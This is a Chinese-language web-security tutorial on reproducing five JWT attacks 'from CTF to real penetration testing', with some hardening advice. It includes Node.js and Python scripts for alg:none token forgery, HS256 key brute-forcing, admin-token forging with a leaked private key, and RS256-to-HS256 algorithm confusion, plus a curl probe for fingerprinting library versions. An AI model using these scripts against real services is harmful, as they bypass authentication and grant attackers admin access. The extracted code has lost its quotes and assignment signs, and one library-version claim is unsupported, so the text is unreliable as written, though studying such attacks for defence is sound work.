从CTF靶场到真实渗透:手把手教你复现JWT的5种经典攻击手法(附Node.js脚本) 从CTF靶场到真实渗透手把手教你复现JWT的5种经典攻击手法附Node.js脚本在Web安全领域JSON Web TokenJWT已成为现代认证机制的核心组件之一。许多开发者认为只要使用了JWT就等同于安全殊不知错误配置的JWT可能成为系统中最脆弱的环节。本文将带您从CTF解题思维跃升到真实渗透测试场景深入剖析JWT的五大高危漏洞模式。1. JWT安全基础与攻击面分析JWT由三部分组成Header头部、Payload有效载荷和Signature签名。这三部分经过Base64Url编码后通过点号连接形成典型的xxxxx.yyyyy.zzzzz结构。在安全审计中我们需要特别关注以下几个关键点Header包含算法声明alg和令牌类型typPayload存储用户声明和其他元数据Signature用于验证消息完整性常见危险配置包括// 危险示例使用None算法 { alg: none, typ: JWT }注意JWT规范允许none算法这意味着签名验证将被跳过任何令牌都会被接受为有效。2. 无签名攻击alg:none实战这是JWT最经典的漏洞模式常见于CTF题目但现实中依然广泛存在。攻击原理是修改Header中的算法声明为none从而绕过签名验证。复现步骤捕获合法JWT令牌解码并修改Header中的alg为none删除Signature部分保留末尾的点号提交修改后的令牌Node.js自动化脚本const jwt require(jsonwebtoken); function createUnsignedToken(originalToken) { const [header, payload, _] originalToken.split(.); const newHeader Buffer.from(JSON.stringify({ ...JSON.parse(Buffer.from(header, base64).toString()), alg: none })).toString(base64); return ${newHeader}.${payload}.; } // 使用示例 const maliciousToken createUnsignedToken(原始JWT令牌); console.log(恶意令牌:, maliciousToken);防御方案在验证端显式禁用none算法使用最新版本的JWT库自动拒绝none算法3. 弱密钥爆破与字典攻击当JWT使用HS256等对称算法时密钥强度直接决定安全性。许多系统使用默认密钥或简单密码使得爆破成为可能。爆破工具对比工具名称语言特点适用场景jwt-crackerC速度快支持多线程短密钥爆破hashcatC支持GPU加速规则灵活复杂密码模式john-the-ripperC支持多种哈希社区规则库多综合密码破解Python爆破示例import jwt import itertools def brute_force_jwt(token, charset, max_length): for length in range(1, max_length1): for attempt in itertools.product(charset, repeatlength): key .join(attempt) try: jwt.decode(token, key, algorithms[HS256]) return key except: continue return None提示真实环境中建议先尝试常见弱口令如admin/123456等再进行全字符爆破。4. 密钥文件泄露攻击在RS256非对称算法场景下如果私钥意外泄露如通过目录遍历、源码泄露等攻击者可以签发任意令牌。典型攻击流程发现公钥文件如/public.key尝试获取对应私钥路径遍历、历史版本等使用私钥生成管理员令牌Node.js攻击脚本const fs require(fs); const jwt require(jsonwebtoken); const privateKey fs.readFileSync(private.key); const maliciousToken jwt.sign( { user: admin, role: superuser }, privateKey, { algorithm: RS256 } ); console.log(伪造的管理员令牌:, maliciousToken);防御措施严格限制密钥文件权限600定期轮换密钥禁止将密钥存放在Web可访问目录5. 算法混淆攻击RS256→HS256这是较难防范的高级攻击手法当系统同时暴露公钥且未严格校验算法时可将非对称算法强制降级为对称算法。攻击原理获取系统公钥public.key修改Header中的alg从RS256变为HS256使用公钥作为HS256的对称密钥重新签名自动化攻击脚本const fs require(fs); const jwt require(jsonwebtoken); const publicKey fs.readFileSync(public.key); const header { alg: HS256, typ: JWT }; const payload { user: admin }; const token jwt.sign(payload, publicKey, { algorithm: HS256 }); console.log(混淆算法令牌:, token);加固方案// 安全的验证方式 jwt.verify(token, getKeyCallback, { algorithms: [RS256], // 显式指定允许算法 ignoreExpiration: false, clockTolerance: 30 }); function getKeyCallback(header, callback) { if(header.alg ! RS256) { return callback(new Error(Invalid algorithm)); } // 返回验证密钥 }6. 版本差异导致的绕过不同JWT库版本间存在安全差异例如15.0.0强制RS256密钥长度≥2048位旧版本允许短密钥存在被爆破风险版本探测技巧# 通过错误信息判断版本 curl -H Authorization: Bearer invalid.token https://target/api # 观察返回的JWT库错误详情兼容性处理方案// 安全升级示例 try { jwt.verify(token, key); } catch (e) { if(e.message.includes(key size)) { // 提示需要升级密钥 } // 其他错误处理 }在真实渗透测试中建议准备多套环境测试不同JWT库版本的行为差异这往往能发现意想不到的绕过路径。